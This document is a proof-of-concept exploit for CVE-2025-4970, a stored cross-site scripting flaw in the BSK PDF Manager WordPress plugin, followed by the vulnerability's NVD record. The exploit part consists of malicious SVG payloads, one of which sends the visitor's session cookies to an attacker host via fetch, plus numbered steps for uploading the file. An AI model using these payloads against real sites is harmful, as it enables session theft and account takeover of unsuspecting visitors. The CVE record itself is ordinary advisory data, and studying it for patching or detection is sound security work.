CVE-2025-4970

# CVE-2025-4970 PoC - Malicious SVG File for XSS # Upload this SVG file through BSK PDF Manager plugin malicious_svg = '''<?xml version="1.0" encoding="UTF-8"?> <svg xmlns="http://www.w3.org/2000/svg" onload="alert(document.cookie)"> <script type="text/javascript"> // Steal session cookies and send to attacker server var cookie = document.cookie; fetch('https://attacker.com/steal?c=' + encodeURIComponent(cookie)); </script> </svg> ''' # Alternative PoC with img tag malicious_svg_img = '''<?xml version="1.0" encoding="UTF-8"?> <svg xmlns="http://www.w3.org/2000/svg"> <img src="x" onerror="alert(document.cookie)" /> </svg> ''' # Exploitation steps: # 1. Login as Administrator on WordPress site # 2. Navigate to BSK PDF Manager upload section # 3. Upload the malicious SVG file # 4. When any user visits the uploaded SVG file, XSS payload executes

{"cve": {"id": "CVE-2025-4970", "sourceIdentifier": "[email protected]", "published": "2025-12-12T08:15:48.027", "lastModified": "2026-04-15T00:35:42.020", "vulnStatus": "Deferred", "cveTags": [], "descriptions": [{"lang": "en", "value": "The BSK PDF Manager plugin for WordPress is vulnerable to Stored Cross-Site Scripting via SVG File uploads in all versions up to, and including, 3.7.1 due to insufficient input sanitization and output escaping. This makes it possible for authenticated attackers, with Administrator-level access and above, to inject arbitrary web scripts in pages that will execute whenever a user accesses the SVG file. This only affects multi-site installations and installations where unfiltered_html has been disabled."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:C/C:L/I:L/A:N", "baseScore": 5.5, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "HIGH", "userInteraction": "NONE", "scope": "CHANGED", "confidentialityImpact": "LOW", "integrityImpact": "LOW", "availabilityImpact": "NONE"}, "exploitabilityScore": 2.3, "impactScore": 2.7}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-79"}]}], "references": [{"url": "https://plugins.trac.wordpress.org/changeset?sfp_email=&sfph_mail=&reponame=&old=3405989%40bsk-pdf-manager&new=3405989%40bsk-pdf-manager&sfp_email=&sfph_mail=", "source": "[email protected]"}, {"url": "https://wordpress.org/plugins/bsk-pdf-manager/#developers", "source": "[email protected]"}, {"url": "https://www.wordfence.com/threat-intel/vulnerabilities/id/3cf1983b-4cb7-4738-9f19-2c530a9939e0?source=cve", "source": "[email protected]"}]}}